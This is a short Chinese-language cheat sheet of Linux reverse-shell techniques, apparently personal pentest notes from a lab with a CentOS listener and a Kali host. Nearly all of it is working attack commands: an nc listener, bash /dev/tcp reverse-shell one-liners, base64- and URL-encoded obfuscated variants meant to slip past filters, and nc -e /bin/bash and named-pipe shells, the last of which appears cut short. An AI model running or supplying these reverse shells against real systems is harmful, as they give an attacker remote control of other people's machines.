反弹Shell-Linux

【监听端】centos: 192.168.35.152
【被控端】kali: 192.168.35.128# 监听端执行
[root@localhost ~]# nc -vvl 7777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777

bash

┌──(root@kali)-[/home/kali]
└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1     # 执行失败                                   
zsh: 没有那个文件或目录: /dev/tcp/192.168.35.152/7777 

bash base64

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

bash base64 URLencode

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

nc

nc -e /bin/bash 192.168.35.152 7777
mknod backpipe p && nc 192.168.35.152 7777